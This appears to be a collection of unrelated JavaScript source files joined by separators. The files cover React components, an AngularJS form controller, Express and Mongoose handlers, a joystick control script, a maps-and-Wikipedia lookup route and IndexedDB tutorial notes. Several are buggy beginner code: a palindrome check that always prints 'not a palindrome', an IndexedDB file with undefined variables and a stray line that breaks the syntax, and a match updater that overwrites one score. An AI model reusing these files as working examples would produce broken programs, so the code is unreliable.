<AddTaskForm addTask={this.addTask} />
<ShowTasks
tasks={this.state.tasks}
editTask={this.editTask}
removeTask={this.removeTask}
doneTask={this.doneTask}
/>
</DashboardContainer>
) : (
<Redirect to="/login" />
)}
</Fragment>
);
}
}
export default Dashboard;
|
'use strict';
angular.module('thinkKidsCertificationProgramApp')
.controller('FormDataCtrl', function($scope, $http, $stateParams, $location, Auth) {
if (window.location.pathname.indexOf('feedback') > -1) {
if (window.location.pathname.indexOf('new') > -1) {
$http.get('/api/forms/' + $stateParams.formId)
.success(function(form) {
$scope.form = form;
$scope.form.btnSubmitText = form.data[0].btnSubmitText;
$scope.form.btnCancelText = form.data[0].btnCancelText;
$scope.form.fieldsModel = form.data[0].edaFieldsModel;
$scope.form.dataModel = {};
$scope.viewForm = true;
$scope.form.submitFormEvent = function() {
var formFieldsData = form.data[0].edaFieldsModel;
var formSubmittedDataProps = Object.getOwnPropertyNames($scope.form.dataModel);
var formSubmittedData = {};
for (var i = 0; i < formSubmittedDataProps.length; i++) {
for (var x = 0; x < formFieldsData.length; x++) {
for (var y = 0; y < formFieldsData[x].columns.length; y++) {
if (formFieldsData[x].columns[y].control.key === formSubmittedDataProps[i]) {
formSubmittedData[formFieldsData[x].columns[y].control.templateOptions.label] = $scope.form.dataModel[formSubmittedDataProps[i]];
}
}
}
}
formSubmittedData.onTime = Math.floor(Date.now() / 1000);
formSubmittedData.byName = Auth.getCurrentUser().name;
form.submittedData.push(formSubmittedData);
formSubmittedData = form.submittedData;
$http.get('/api/forms/' + $stateParams.id)
.success(function(form) {
var formData = form.submittedData.map(function(data) {
if (String(data.onTime) === String($stateParams.onTime)) {
data.feedback = formSubmittedData;
}
return data;
});
$http.patch('/api/forms/' + $stateParams.id, {
submittedData: formData
})
.success(function() {
$location.path('/');
});
});
};
});
} else if (window.location.pathname.indexOf('view') > -1) {
$http.get('/api/forms/' + $stateParams.id)
.success(function(form) {
$scope.isFeedback = true;
$scope.data = form.submittedData.filter(function(data) {
return data.feedback && String(data.onTime) === String($stateParams.onTime);
});
$scope.data = $scope.data[0].feedback[0];
var dataProps = Object.getOwnPropertyNames($scope.data);
var data = [];
for (var i = 0; i < dataProps.length; i++) {
if (dataProps[i] === 'byName') {
continue;
} else if (dataProps[i] === 'onTime') {
continue;
} else if (dataProps[i] === 'grade') {
continue;
} else {
var tempData = {};
tempData.prop = dataProps[i];
tempData.val = $scope.data[dataProps[i]];
data.push(tempData);
}
}
$scope.data = data;
});
} else {
$http.get('/api/forms')
.success(function(forms) {
$scope.forms = forms.filter(function(forms) {
return forms.isFeedback;
});
$scope.formID = $stateParams.id;
$scope.onTime = $stateParams.onTime;
});
}
} else {
$http.get('/api/forms/' + $stateParams.id)
.success(function(form) {
$scope.form = $.extend(true, {}, form);
if ($stateParams.onTime) {
$scope.showData = false;
$http.get('/api/roles')
.success(roles => {
roles = roles.filter(role => role.instructor || role.name === 'Admin')
.map(role => role.name);
$scope.isInstructor = Auth.getCurrentUser().roles.filter(role => {
return roles.indexOf(role) > -1;
}).length > 0;
});
$scope.pass = function() {
var submittedData = form.submittedData.map(function(data) {
if (String(data.onTime) === String($stateParams.onTime)) {
data.grade = 'Pass';
}
return data;
});
$http.patch('/api/forms/' + $stateParams.id, {
submittedData: submittedData
});
$location.path('/form/' + $stateParams.id + '/data/' + $stateParams.onTime + '/feedback');
};
$scope.fail = function() {
var submittedData = form.submittedData.map(function(data) {
if (String(data.onTime) === String($stateParams.onTime)) {
data.grade = 'Fail';
}
return data;
});
$http.patch('/api/forms/' + $stateParams.id, {
submittedData: submittedData
});
$location.path('/form/' + $stateParams.id + '/data/' + $stateParams.onTime + '/feedback');
};
$scope.form.submittedData = $scope.form.submittedData.filter(function(data) {
return String(data.onTime) === String($stateParams.onTime);
});
$scope.form.submittedData = $scope.form.submittedData[0];
var dataProps = Object.getOwnPropertyNames($scope.form.submittedData);
var data = [];
for (var i = 0; i < dataProps.length; i++) {
if (dataProps[i] === 'byName') {
continue;
} else if (dataProps[i] === 'onTime') {
continue;
} else if (dataProps[i] === 'grade') {
continue;
} else {
var tempData = {};
tempData.prop = dataProps[i];
tempData.val = $scope.form.submittedData[dataProps[i]];
data.push(tempData);
}
}
$scope.data = data;
} else {
$scope.form.submittedData = $scope.form.submittedData.map(function(data) {
if (data.grade === undefined) {
data.grade = 'Not graded';
}
if (data.feedback !== undefined) {
$scope.showFeedback = true;
}
return data;
});
$scope.showData = true;
$scope.deleteData = function(data) {
form.submittedData.splice(form.submittedData.indexOf(data), 1);
var submittedData = form.submittedData;
$http.patch('/api/forms/' + $stateParams.id, {
submittedData: submittedData
});
};
}
});
}
});
|
const { offerModel, userModel, itemModel } = require('../models');
function createOffer(req, res, next) {
const { itemId } = req.params;
const userId = req.user.id;
const { newPrice: price, shipingAddress, price: oldPrice } = req.body;
if (price <= oldPrice) {
return res.status(401).json('Your offer must be bigger from the Price!')
}
offerModel.create({ price, shipingAddress, userId, itemId })
.then(offer => {
Promise.all([
userModel.updateOne({ _id: userId }, { $push: { offers: offer._id } }),
itemModel.findByIdAndUpdate({ _id: itemId }, { price, $push: { offers: offer._id } })
])
return res.status(200).json(offer);
})
.catch(next);
}
function getAllOffers(req, res, next) {
const { itemId } = req.params;
offerModel.find({ itemId: itemId })
.sort([['price', -1]])
.populate('itemId')
.populate('userId')
.then(offers => res.json(offers))
.catch(next);
}
function getMyOffers(req, res, next) {
const userId = req.user.id;
offerModel.find({ userId: userId })
.sort([['created_at', -1]])
.populate('itemId')
.populate('userId')
.then(offers =>
res.json(offers)
)
.catch(next);
}
module.exports = {
createOffer,
getAllOffers,
getMyOffers
}
|
const path = require('path')
const Service = require('egg').Service
class DailyService extends Service {
async create (data) {
const { ctx } = this
const Daily = ctx.model.Daily
const daily = new Daily(data)
try {
await daily.save()
return {
success: true
}
} catch (err) {
return {
success: false,
message: err.message
}
}
}
async list () {
const { ctx } = this
const Daily = ctx.model.Daily
try {
const dailies = await Daily.find({}, 'date goodAmount amount discount earning cost gain', { sort: { date: 'desc' } })
let amount = 0
let goodAmount = 0
let discount = 0
let earning = 0
let cost = 0
let gain = 0
dailies.forEach(item => {
amount += item.amount
goodAmount += item.goodAmount
discount += item.discount
earning += item.earning
cost += item.cost
gain += item.gain
})
return {
success: true,
data: {
list: dailies,
amount,
goodAmount,
discount,
earning,
cost,
gain
}
}
} catch (err) {
return {
success: false,
message: err.message
}
}
}
}
module.exports = DailyService
|
module.exports.someoneWithASignShop = 'username'
module.exports.spectator = {
username: '',
password: ''
}
module.exports.serverBlock = 'diamond_block'
|
var email_8h =
[
[ "Email", "structEmail.html", "structEmail" ],
[ "EmailNode", "structEmailNode.html", "structEmailNode" ],
[ "EventEmail", "structEventEmail.html", "structEventEmail" ],
[ "EventHeader", "structEventHeader.html", "structEventHeader" ],
[ "NotifyEmail", "email_8h.html#acc016ba3017237be6db0130216742d17", [
[ "NT_EMAIL_ADD", "email_8h.html#acc016ba3017237be6db0130216742d17a190192a70b0c559228cc51324a10a68b", null ],
[ "NT_EMAIL_REMOVE", "email_8h.html#acc016ba3017237be6db0130216742d17ad45113e9febe2b3931ccebafc3dabff5", null ]
] ],
[ "NotifyHeader", "email_8h.html#a32e989d0071364c3086b2f4b93beac1d", [
[ "NT_HEADER_ADD", "email_8h.html#a32e989d0071364c3086b2f4b93beac1dade021951d390d8b9494522c6c88a80ba", null ],
[ "NT_HEADER_CHANGE", "email_8h.html#a32e989d0071364c3086b2f4b93beac1da93c6d5007a8a30a2b788561f3b76265f", null ],
[ "NT_HEADER_REMOVE", "email_8h.html#a32e989d0071364c3086b2f4b93beac1da2f12c3c79587ece24aacf60eeae6b799", null ]
] ],
[ "STAILQ_HEAD", "email_8h.html#a1449bec531e1bfa8aee664aad7c6b6f2", null ],
[ "email_cmp_strict", "email_8h.html#a3d20f2e3c0991425b91d9403a038a51e", null ],
[ "email_free", "email_8h.html#ae9f719d3fc31d00b92bcf9f77d56ee67", null ],
[ "email_new", "email_8h.html#a77c9ecff4b23001b81177ffe398bad44", null ],
[ "email_size", "email_8h.html#aaaf972b9dbc131fc62b1d0c2ff5aa2a5", null ],
[ "emaillist_add_email", "email_8h.html#a0c1d7a53b53fccd8f52dc45f69282318", null ],
[ "emaillist_clear", "email_8h.html#af751cd283c12c90ca470959861930feb", null ],
[ "header_add", "email_8h.html#a1305da6b64a82fe390a5b5e334320cf5", null ],
[ "header_find", "email_8h.html#a5ca9e4368191cd691ce1f24c795cb641", null ],
[ "header_free", "email_8h.html#a5703ece919269004eecd74af794b424b", null ],
[ "header_set", "email_8h.html#a49d22e70083e73f5b7e088ca65d16a67", null ],
[ "header_update", "email_8h.html#a9425aaba4a3c06220bba766532428c15", null ]
]; |
import React from 'react';
const SuccessPage = () => {
return (
<div className="ui container pushFooterToTheBottom formMargin">
<h1>Post Successful</h1>
<h1>See JSON Result Of All Users at https://sportsnewsback.herokuapp.com/users</h1>
</div>
)
}
export default SuccessPage
|
define(
['zepto', 'underscore', 'backbone',
'swiper', 'echo', 'app/api',
'app/utils', 'app/scroll',
'text!templates/category.html'
],
function ($, _, Backbone, Swiper, echo, Api, utils, scroll, categoryTemplate) {
var $page = $("#categor-page");
var imageRenderToken = null;
var $categoryList;
var categoryView = Backbone.View.extend({
el: $page,
render: function () {
utils.showPage($page, function () {
//初始化分类数据
initCaegor();
});
},
events: {
//查看具体种类的内容
"tap .category_list li": "categoryListContain",
},
categoryListContain: function (e) {
e.stopImmediatePropagation();
var $this = $(e.currentTarget);
//console.log($this.find(".category_name").html());
window.location.hash = "categoryGoodList/" + $this.data("id");
utils.storage.set("categoryGoodName", $this.find(".category_name").html());
console.log($this.data("id"));
},
});
var initCaegor = function () {
var param = null;
Api.getCategories(param, function (data) {
var template = _.template(categoryTemplate);
//alert(data.result)
//console.log(data.result)
$page.empty().append(template(data.result));
asynLoadImage();
}, function (data) {
});
};
var asynLoadImage = function () {
echo.init({
throttle: 250,
});
if (imageRenderToken == null) {
imageRenderToken = window.setInterval(function () {
echo.render();
}, 350);
}
};
return categoryView;
});
|
var mongoose = require('mongoose')
var request = require('request');
var Match = require('../models/match');
var Team = require('../models/team');
var MatchDetails = require('../models/matchDetails');
function getAllMatchs(req, res) {
console.log(req.headers)
var options = {
url: 'http://ec2-user@ec2-18-188-240-178.us-east-2.compute.amazonaws.com:3333/api/v1/matchs',
method: 'get',
headers: {
"Authorization": req.headers['authorization']
}
}
request(options, function(error, response, body) {
if (error) {
console.log(error)
res.json(error)
} else {
res.json(JSON.parse(response.body))
}
})
}
function getAllLocalMatchs(req, res) {
Match
.find()
.exec(function(err, matchs) {
if (err) {
console.log(err)
} else
res.json(matchs);
});
}
async function createLocalMatch(idMatch, team_a, team_b) {
return new Promise((resolve, reject) => {
var match = new Match();
//console.log(req.body)
match.idMatchTracking = idMatch;
match.teamA = team_a;
match.teamB = team_b;
match.save((err, m) => {
if (err)
reject(err)
resolve(m)
});
})
}
async function createMatch(team_a, team_b, nextMatchId) {
return new Promise((resolve, reject) => {
var match = new Match();
//console.log(req.body)
match.teamA = team_a;
match.teamB = team_b;
match.nextMatchId = nextMatchId;
match.save((err, m) => {
if (err)
reject(err)
resolve(m)
});
})
}
async function createMatch1(nextMatchId) {
return new Promise((resolve, reject) => {
var match = new Match();
//console.log(req.body)
match.nextMatchId = nextMatchId;
match.save((err, m) => {
if (err)
reject(err)
resolve(m)
});
})
}
async function updateMatchDetails(idMatch, score_a, score_b) {
return new Promise((resolve, reject) => {
Match
.findById(idMatch)
.exec(function(err, match) {
if (err) {
console.log(err)
} else {
console.log(match)
match.scoreA = score_a;
match.scoreA = score_b;
match.save(function(err, res) {
if (err) {
console.log(error)
reject(null)
} else {
console.log('match updated')
}
})
}
console.log('match created')
resolve(match)
});
})
}
async function getMatchById(id, auth) {
return new Promise((resolve, reject) => {
var options = {
url: 'http://ec2-user@ec2-18-188-240-178.us-east-2.compute.amazonaws.com:3333/api/v1/matchs/' + id,
method: 'get',
headers: {
"Authorization": auth
}
}
request(options, function(error, response) {
if (error) {
console.log(error)
reject(null)
} else {
console.log('match found')
resolve(response.body)
}
})
})
}
async function getTeamByExternalId(id) {
return new Promise((resolve, reject) => {
Team
.findOne({ "externalTeamId": id })
.exec((err, team) => {
if (err)
reject(null);
else {
resolve(team);
}
})
})
}
let matchManger = async(req, res) => {
try {
let match = await getMatchById(req.params.id, req.headers['authorization'])
match = JSON.parse(match)
console.log("match", match);
if (match == null) {
return res.status(404).send()
}
let team_a = await getTeamByExternalId(match.data.team_a);
let team_b = await getTeamByExternalId(match.data.team_b);
let matchdetails = await createLocalMatch(match.data.id, team_a, team_b)
console.log("match details", matchdetails);
//TODO update match till is finished
let matchstatus = JSON.parse(match.status)
console.log({ matchstatus });
// while(matchstatus != 0){
// setTimeout(async () => {
// let match = await getMatchById(req.params.id, req.headers['authorization'])
// if (match == null) {
// return res.status(404).send()
// }
// let score_a= match.data.score_a;
// let score_b= match.data.score_b;
// let matchstatus = match.data.status
// console.log({matchstatus});
// let realTimeMatch = await updateMatchDetails(idMatch,score_a,score_b)
// console.log({realTimeMatch})
// }, 2000)
// }
} catch (e) {
console.log(e)
res.status(500).send()
}
}
// console.log(match)
// if(match === null){
// console.log("Match not found")
//} else {
// console.log(match);
//
//try {
// const user = await User.findById(_id)
//if (!user) {
// return res.status(404).send()
// }
//res.send(user)
//} catch (e) {
// res.status(500).send()
//}
//idMatch = match.id;
//team_a= match.team_a;
//team_b= match.team_b;
//matchdetails = createLocalMatch(idMatch,team_a,team_b,res)
// while(match.status=0){
// matchdetails.scoreA= match.score_a;
// matchdetails.scoreB= match.score_b;
// }
// promise await async callback
function createMatchDetails(req, res) {
var matchdetails = new MatchDetails();
console.log(req.body)
matchdetails.id = match.id;
match.save((err, t) => {
if (err)
res.json(err)
res.json(t)
});
}
async function getLocalMatchById(id) {
return new Promise((resolve, reject) => {
Match
.findById(id)
.exec(function(err, match) {
if (err) {
reject(err)
} else
resolve(match);
});
})
}
module.exports = { getLocalMatchById, createMatch1, getAllMatchs, createLocalMatch, createMatchDetails, updateMatchDetails, getMatchById, matchManger, getAllLocalMatchs, createMatch }; |
import { connect } from 'react-redux';
import List from '../screens/List';
import { list } from '../actions/classes';
import { updateAttendance } from '../actions/classes';
const mapStateToProps = (state) => {
return {
classes: state.classes.list
};
};
const mapDispatchToProps = (dispatch) => {
return {
onInit: () =>{
dispatch(list('list'));
},
onAttended: (classId, user) => {
dispatch(updateAttendance('attended', classId, user));
}
};
};
const ListContainer = connect(
mapStateToProps,
mapDispatchToProps
)(List);
export default ListContainer;
|
import { useState } from "react";
import Expenses from "./components/Expenses/Expenses";
import NewExpense from "./components/NewExpense/NewExpense";
const DUMMY_EXPENSES = [
{
id: 'e1',
title: "Car Insurance",
amount: 434.5,
date: new Date(2021, 3, 28)
},
{
id: 'e2',
title: "New Tv",
amount: 487.5,
date: new Date(2021, 5, 10)
},
{
id: 'e3',
title: "Refrigerator",
amount: 6565.5,
date: new Date(2021, 6, 11)
},
{
id: 'e4',
title: "Phone",
amount: 123.5,
date: new Date(2020, 4, 18)
},
];
const App = () => {
const [expenses, setExpenses] = useState(DUMMY_EXPENSES);
const addExpenseHandler = (expenseData) => {
setExpenses(prevExpenses => {
return [expenseData, ...prevExpenses];
});
}
return (
<div>
<NewExpense onAddExpense={addExpenseHandler} />
<Expenses items={expenses} />
</div>
);
}
export default App;
|
const passportConfig = require('../services/passport')
const passport = require('passport')
// Authentication middleware for protected routes
const requireAuth = passport.authenticate('jwt', {session: false})
// Verify credentials middleware for login route
const verifyCreds = (req, res, next) => {
passport.authenticate('local', {session: false}, (err, user, info) => {
if(err) return next(err)
if(!user) return res.status(401).json({msg: info.message, type: info.type})
req.user = user
next()
})(req, res, next)
}
module.exports = { requireAuth, verifyCreds } |
import React, { Component } from 'react'
import PropTypes from "prop-types";
import style from './Detial.scss'
import publictitlerow from 'assets/publictitlerow.png'
import buttonicon from 'assets/buttonicon.png'
export class Detial extends Component {
constructor(props) {
super(props);
this.state = {};
this.refreshProps = this.refreshProps.bind(this);
this.next = this.next.bind(this);
}
componentWillReceiveProps(nextprops) {
this.refreshProps(nextprops);
}
componentDidMount() {
this.refreshProps(this.props);
}
refreshProps(props) {
}
next(){
this.context.HandleRoute(2);
}
render() {
return (
<div className={[style.ViewBox, "childcenter childcolumn"].join(" ")}>
<div className={style.PublicTitle}>
<img src={publictitlerow} alt=""/>
</div>
<div className={style.InfoBox}>
<p>"喝彩"安理申,共分为2个环节</p>
<p>1.有奖问答:共设置5轮问题,参与过"告白"及"助力"安理申的玩家,至多可获得5次抽红包机会。两者只参与其一至多可获得3次抽红包机会。若没有参与,红包只能跟您Say Bye~红包将于销量达到5亿的那天分发。</p>
<p>2.年终大竞猜:"助力"安理申所获得的奖券数,是您参与年终大竞猜的次数。</p>
</div>
<div className={[style.RuleButton,'childcenter'].join(' ')}>
<div className={[style.ButtonIconBox, "childcenter"].join(" ")}>
<img src={buttonicon} className={style.ButtonIcon} alt="" />
</div>
<div className={[style.ButtonValue, "childcenter"].join(" ")} onClick={this.next}>
我已了解规则
</div>
</div>
</div>
)
}
}
Detial.contextTypes = {
HandleRoute: PropTypes.func
};
export default Detial |
import {StyledAdvancedNavigation} from "../../../layout/layout";
import BlogItem from "./items/BlogItem";
import DevelopersItem from "./items/DevelopersItem";
import AdvertisingItem from "./items/AdvertisingItem";
import OtherItem from "./items/OtherItem";
const AdvancedNavigation = () => {
return <StyledAdvancedNavigation>
<BlogItem />
<DevelopersItem />
<AdvertisingItem />
<OtherItem />
</StyledAdvancedNavigation>
}
export default AdvancedNavigation |
const search = document.querySelector('#search');
//SEARCH EVENT FUNCTION
const handleSearch = event => {
//make it show the .name somewhere
const feild_info = document.querySelectorAll('h2.name');
const searchTerm = event.target.value.toLowerCase();
//FOREACH LOOP
feild_info.forEach( feild_var => {
const text = feild_var.textContent.toLowerCase();
const box = feild_var.parentElement.parentElement;
if (text.includes(searchTerm)) {
if (box.style.display = "flex") {
box.classList.add("display-block");
}
} else {
if (box.style.display = "none") {
box.classList.remove("display-block");
}
}
});
}
search.addEventListener('keyup', handleSearch);
console.log('Listerner activated');
|
'use strict'
const menuContent = () => {
const contentContainer = document.querySelector('#content');
contentContainer.innerHTML = `
<main>
<div class="menu">
<div>
<h1 class="menu-item">Bibimbap</h1>
<p class="menu-description">Rice Dish</p>
<p class="price">$12.99</p>
</div>
<div>
<h1 class="menu-item">Bulgogi</h1>
<p class="menu-description">Rice Dish with marintated beef</p>
<p class="price">$14.99</p>
</div>
<div>
<h1 class="menu-item">Spicy rice cakes</h1>
<p class="menu-description">Spicy Rice Cakes in hot sauce</p>
<p class="price">$16.99</p>
</div>
<div>
<h1 class="menu-item">Kimbap</h1>
<p class="menu-description">Rolls of seaweed</p>
<p class="price">$8.99</p>
</div>
</div>
`
}
export {menuContent} |
import express from 'express'
var router = express.Router();
import userService from '../services/user/user-service';
const asyncMiddleware = fn =>
(req, res, next) => {
Promise.resolve(fn(req, res, next))
.catch(next);
};
router.use(function (req, res, next) {
console.log('Time:', Date.now())
res.body = function(body) {
console.log(body);
res.send({data:body});
}
next();
})
router.get('/', function(req, res, next) {
res.body({a:2});
});
router.get('/addUser', asyncMiddleware(async (req, res, next) => {
const response = await userService.addUser();
res.body(response);
}));
module.exports = router; |
import React from "react";
class Option extends React.Component {
handleClick = (event) => {
this.props.counter(event.target.innerText);
};
render() {
return (
<div className="opciones">
<div className="opcion">
<button onClick={this.handleClick} className="botones">
A
</button>
<h2>{this.props.opciones.a}</h2>
</div>
<div className="opcion">
<button onClick={this.handleClick} className="botones">
B
</button>
<h2>{this.props.opciones.b}</h2>
</div>
</div>
);
}
}
export default Option;
|
import React from 'react'
import css from '../../lib/css/'
import styles from './styles'
export default () => (
<div className={css(styles.root)}>
No data to display
</div>
)
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const THREE = require("three");
const ActorComponent_1 = require("../ActorComponent");
const tmpVector3 = new THREE.Vector3();
class Camera2DControls extends ActorComponent_1.default {
constructor(actor, camera, options, zoomCallback) {
super(actor, "Camera2DControls");
this.multiplier = 1;
this.actor = actor;
this.camera = camera;
this.options = options;
this.zoomCallback = zoomCallback;
}
setIsLayerActive(active) { }
setMultiplier(newMultiplier) {
const newOrthographicScale = this.camera.orthographicScale * this.multiplier;
this.multiplier = newMultiplier / 10;
this.camera.actor.getLocalPosition(tmpVector3);
const screenPosition = this.getScreenPosition(tmpVector3.x, tmpVector3.y);
this.changeOrthographicScale(newOrthographicScale, screenPosition[0], screenPosition[1]);
}
changeOrthographicScale(newOrthographicScale, x, y) {
const startPosition = this.getScenePosition(x, y);
this.camera.setOrthographicScale(newOrthographicScale / this.multiplier);
const endPosition = this.getScenePosition(x, y);
this.camera.actor.moveLocal(new THREE.Vector3(startPosition[0] - endPosition[0], endPosition[1] - startPosition[1], 0));
if (this.zoomCallback != null)
this.zoomCallback();
}
update() {
const input = this.actor.gameInstance.input;
const keys = window.KeyEvent;
// Move
if (input.mouseButtons[1].isDown ||
(input.mouseButtons[0].isDown && input.keyboardButtons[keys.DOM_VK_ALT].isDown)) {
const mouseDelta = input.mouseDelta;
mouseDelta.x /= this.actor.gameInstance.threeRenderer.domElement.width;
mouseDelta.x *= this.camera.orthographicScale * this.camera.cachedRatio;
mouseDelta.y /= this.actor.gameInstance.threeRenderer.domElement.height;
mouseDelta.y *= this.camera.orthographicScale;
if (mouseDelta.x !== 0 || mouseDelta.y !== 0)
this.camera.actor.moveLocal(new THREE.Vector3(-mouseDelta.x, mouseDelta.y, 0));
}
// Zoom
else {
const mousePosition = input.mousePosition;
let newOrthographicScale;
if (input.mouseButtons[5].isDown || input.keyboardButtons[keys.DOM_VK_ADD].wasJustPressed) {
newOrthographicScale = Math.max(this.options.zoomMin, this.camera.orthographicScale * this.multiplier / this.options.zoomSpeed);
if (input.keyboardButtons[keys.DOM_VK_ADD].wasJustPressed) {
mousePosition.x = this.actor.gameInstance.threeRenderer.domElement.width / 2;
mousePosition.y = this.actor.gameInstance.threeRenderer.domElement.height / 2;
}
}
else if (input.mouseButtons[6].isDown || (input.keyboardButtons[keys.DOM_VK_SUBTRACT].wasJustPressed)) {
newOrthographicScale = Math.min(this.options.zoomMax, this.camera.orthographicScale * this.multiplier * this.options.zoomSpeed);
if (input.keyboardButtons[keys.DOM_VK_SUBTRACT].wasJustPressed) {
mousePosition.x = this.actor.gameInstance.threeRenderer.domElement.width / 2;
mousePosition.y = this.actor.gameInstance.threeRenderer.domElement.height / 2;
}
}
if (newOrthographicScale != null && newOrthographicScale !== this.camera.orthographicScale) {
this.changeOrthographicScale(newOrthographicScale, mousePosition.x, mousePosition.y);
}
}
}
getScreenPosition(x, y) {
x /= this.camera.orthographicScale / 2 * this.camera.cachedRatio;
x = (1 - x) / 2;
x *= this.actor.gameInstance.threeRenderer.domElement.width;
y /= this.camera.orthographicScale / 2;
y = (y + 1) / 2;
y *= this.actor.gameInstance.threeRenderer.domElement.height;
return [x, y];
}
getScenePosition(x, y) {
this.camera.actor.getLocalPosition(tmpVector3);
x /= this.actor.gameInstance.threeRenderer.domElement.width;
x = x * 2 - 1;
x *= this.camera.orthographicScale / 2 * this.camera.cachedRatio;
x += tmpVector3.x;
y /= this.actor.gameInstance.threeRenderer.domElement.height;
y = y * 2 - 1;
y *= this.camera.orthographicScale / 2;
y -= tmpVector3.y;
return [x, y];
}
}
exports.default = Camera2DControls;
|
import React from "react";
import PropTypes from "prop-types";
import Modal from "./Modal";
const GamePaused = ({ paused, onResume }) => (
<Modal open={paused}>
<Modal.Title>Paused</Modal.Title>
<Modal.Button onClick={onResume}>Resume</Modal.Button>
</Modal>
);
GamePaused.propTypes = {
paused: PropTypes.bool.isRequired,
onResume: PropTypes.func.isRequired,
};
export default GamePaused;
|
var MP = require('module_pattern.js');
function mp_x (){
var temp = MP()
return temp
}
mp_x.prototype.extension = function() {
console.log('extension')
}
module.exports = mp_x; |
export { toggleTooltip }
const toggleTooltip = (infoIcon) => {
const tooltip = infoIcon.querySelector('.tooltip')
tooltip.classList.toggle('visible')
} |
if (window.location.pathname == '/control') {
var vm = this;
var lastX = 0;
var lastY = 0;
var options = {
color: '#444',
size: 150,
zone: document.getElementById('joystick-container')
};
var manager = nipplejs.create(options);
manager.on('added', function (evt, nipple) {
nipple.on('start move end dir plain', function (evt, data) {
if (evt.type === 'move') {
var x = 0, y = 0;
// Willy is quite sensitive so turn down the distance by a fair margin, could make this a slider
var distance = data.distance / 30;
if (((data.angle.degree < 90) && (data.angle.degree > 0)) || ((data.angle.degree < 360) && (data.angle.degree > 270))) {
x = Math.cos(data.angle.radian) * distance;
y = Math.sin(data.angle.radian) * distance;
}
if (((data.angle.degree < 180) && (data.angle.degree > 90)) || ((data.angle.degree < 270) && (data.angle.degree > 180))) {
x = -Math.cos(Math.PI - data.angle.radian) * distance;
y = Math.sin(Math.PI - data.angle.radian) * distance;
}
// Invert the X and half the sensitivity
x = (x * -1) / 2;
// Only send new values if they are different enough
if (Math.abs(lastX - x) > 0.02 || Math.abs(lastY - y) > 0.02) {
//rcHub.invoke('Move', x, y); // TODO
lastX = x;
lastY = y;
}
} else if (evt.type === 'end') {
lastX = 0;
lastY = 0;
$timeout(function () {
//rcHub.invoke('Move', 0.0, 0.0) // TODO
}, 250);
$timeout(function () {
//rcHub.invoke('Move', 0.0, 0.0) // TODO
}, 500)
}
});
}).on('removed', function (evt, nipple) {
nipple.off('start move end dir plain');
});
} |
import Button from './Button';
function Toolbar() {
return (
<div className="Tool-Bar">
{/* <Button name="Run" />
<Button name="Debug" /> */}
</div>
)
}
export default Toolbar; |
import React from 'react';
import './Footer.scss';
const Footer = () => {
return (
<footer className="footer">
<div className="container">
<div className="content has-text-centered">
<p>
<strong>Fussifinder</strong> von <a href="https://github.com/ollide">ollide</a>.
</p>
<p>Veröffentlicht auf <a href="https://github.com/ollide/fussball-in-hamburg">GitHub</a>.</p>
</div>
</div>
</footer>
)
}
export default Footer;
|
var express = require('express');
var router = express.Router();
var config = require('../config.json');
var wikipedia = require('wikipedia-js');
var wtf_wikipedia = require("wtf_wikipedia")
var googleMapsClient = require('@google/maps').createClient({
key: config.GOOGLE_API_KEY
});
router.post('/request', function(req, res) {
// melakukan logic dari google maps
// melakukan logic search wikipedia
requestMaps(req.body.location, function(locate){
requestWikipedia(locate, function(result){
// res.render('result', {description: result})
res.send(result)
})
})
})
function requestMaps(parameter, cb) {
// Geocode an address.
googleMapsClient.geocode({
address: parameter
}, function(err, response) {
if (!err) {
let location = response.json.results[0].formatted_address
// let location = response.json.results
cb(location)
}
});
};
function requestWikipedia(parameter, cb) {
var query = parameter;
var options = {query: query, format: "json", summaryOnly: true};
wikipedia.searchArticle(options, function(err, htmlWikiText){
if(err){
console.log("An error occurred[query=%s, error=%s]", query, err);
return;
}
// console.log("Query successful[query=%s, html-formatted-wiki-text=%s]", query, htmlWikiText);
let wiki = wtf_wikipedia.parse(htmlWikiText)
// cb(wiki.infobox_template)
cb(wiki)
});
};
module.exports = router;
|
let ispalindrome = process.argv[2];
let lengthForCheck = ispalindrome.length - 1;
let massage = "it is not a palindrome" ;
for(let index=0;index <= ispalindrome.length/2;index++){
if(ispalindrome[index] == ispalindrome[lengthForCheck-index]){
let massage = "it is a palindrome";
index=ispalindrome.length;
}
}
console.log(massage);
|
// from Steve Griffith https://www.youtube.com/playlist?list=PLyuRouwmQCjmNyAysdqjNz5fIS5cYU4vi
const { format } = require("morgan");
// wrap all this in const IDB? = (function init() {***})
let db = null;
let objectStore = null;
let DBOpenReq = indexedDB.open('BudgetDB', 1);
// let newVersion += currentVersion
DBOpenReq.addEventListener('error', (err) => {
console.warn(err);
});
DBOpenReq.addEventListener('success', (err) => {
db = ev.target.result;
console.log('success', db);
});
DBOpenReq.addEventListener('upgradeneeded', (err) => {
db = ev.target.result;
let oldVersion = ev.oldVersion;
let newVersion = ev.newVersion || db.version;
console.log('DB updated from version', oldVersion, ' to ', newVersion);
console.log('upgrade', db);
if (!objectStoreNames.contains('budgetStore')) {
objectStore = db.createObjectStore('budgetStore', {
keyPath: "id",
autoIncrement: true,
});
}
db.createObjectStore('foobar');
});
// document.transactionForm.addEventListener('submit', (ev) => {
// ev.preventDefault();
// take in input
// let thing = {input object}
// let tx = db.transaction('budgetStore', 'readWrite');
// tx.oncomplete = (ev) => {
// console.log(ev);
// } could do callback function, could display data, etc
// tx.onerror = (err) => {
// console.warn(err);
// }
let store = tx.objectStore('budgetStore');
let request = store.add(thing) // from inside event listener line 37
// });
function makeTX(storeName, mode) {
let tx = db.transaction(storeName, mode);
tx.onerror = (err) => {
console.warn(err);
};
return tx;
}
// submit function (eventlistener, ev.preventDefault)
// define input values from form
// define object = {
// id: uid function,
// other input: values,
// }
// ____________________________________________________________
// // define and start transaction to wrap requests
// let tx = makeTX(see above);
// tx.oncomplete = (ev) => {
// console.log(ev);
// things I want it to do
// // build list ();
// // clear form ();
// };
// // identify which store:
// let store = tx.objectStore('theStore');
// let request = store.add(the one I defined up there)
// request.onsuccess = (ev) => {
// console.log('did it');
// // this means this one was a success
// // move on to the next request or commit the transaction
// }
// request.onerror = (err) => {
// console.log(oops)
// };
____________________________________________________________
// whenever you're building something new in the html:
// first step: get rid of the old stuff
// let list = html location;
// list.innerHTML = <li>Loading...</li>
// let tx = makeTX('theStore', 'readonly');
// tx.oncomplete = (ev) => {
// // transaction for reading all objects is complete
// }
// let store = tx.objectStore('theStore');
// let getReq = store.getAll();
// // returns an array
// // option can pass in a key or keyRange
// getReq.onsuccess = (ev) => {
// // getAll was successful
// let request = ev.target; // request === getReq === ev.target
// console.log({ request });
